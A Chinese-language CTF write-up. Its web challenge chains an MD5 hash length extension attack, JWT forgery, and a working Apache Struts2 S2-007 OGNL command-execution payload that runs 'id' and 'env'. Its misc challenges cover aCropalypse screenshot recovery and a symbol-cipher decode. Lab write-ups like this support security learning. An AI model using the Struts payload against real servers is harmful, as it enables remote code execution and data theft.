web

jwt2struts

  1. F12,发现提示。

  1. 进入JWT_key.php,得到源码。

    <?php
    highlight_file(__FILE__);
    include "./secret_key.php";
    include "./salt.php";
    //$salt = XXXXXXXXXXXXXX // the salt include 14 characters
    //md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
    @$username = urldecode($_POST["username"]);
    @$password = urldecode($_POST["password"]);
    if (!empty($_COOKIE["digest"])) {
    if ($username === "admin" && $password != "root") {
    if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
    die ("The secret_key is ". $secret_key);
    }
    else {
    die ("Your cookies don't match up! STOP HACKING THIS SITE.");
    }
    }
    else {
    die ("no no no");
    }
    }

  2. 根据源码,可以知道salt长度为14,常规做法是把salt爆破出来。可以利用 hash长度拓展攻击 来绕过验证,从而得到secret_key

  3. 利用hashpump生成新的MD5password

  4. \x换成%,用bp发送过去,即可得到secret_key。、

  5. 回到开始的页面,开始伪造jwt。拿到cookie,去 jwt.io 将user改成admin。

  6. access_token的值改成新伪造好的值,即可进入下面这个页面。

  7. 根据题目名称,前面是jwt了,那么后面是struts2,源码中也有提示。

  8. 经过测试,是S2-007ctfshow web281-S2-007

    执行任意代码poc:

    ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

    传入后即可执行id并回显。

  9. 执行命令env查看环境变量,即可得到flag。

    ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '

misc

snippingTools

  1. 题目描述:

    Alice在参加某个CTF比赛,她成功的解出了一道题,拿到了flag。她很开心,迫不及待地想要向Bob分享她的喜悦。于是按下了快捷键Shift+Win+S使用了Windows 11的截图工具,截取了整个屏幕,并且保存为文件1.png。然后,考虑到比赛规则中规定flag需要保密,她使用了截图工具中的“裁剪”功能,将flag裁剪掉了一部分,然后将裁剪结果覆盖了原文件1.png并保存。最终,她将1.png发给了Bob。Bob马上就知道了她的整个flag,你知道是如何做到的吗?
  2. 题目附件:

  3. 用必应搜索一下,发现有cve,得到cve编号为CVE-2023-28303

  4. 在github上搜索是否有可用工具,搜索到了这个工具,后边是利用这个工具还原图片。

old language

  1. 附件:

  2. 依照 这个网站 上的内容,对应图片上的图案,即可得到flag为gikrvzy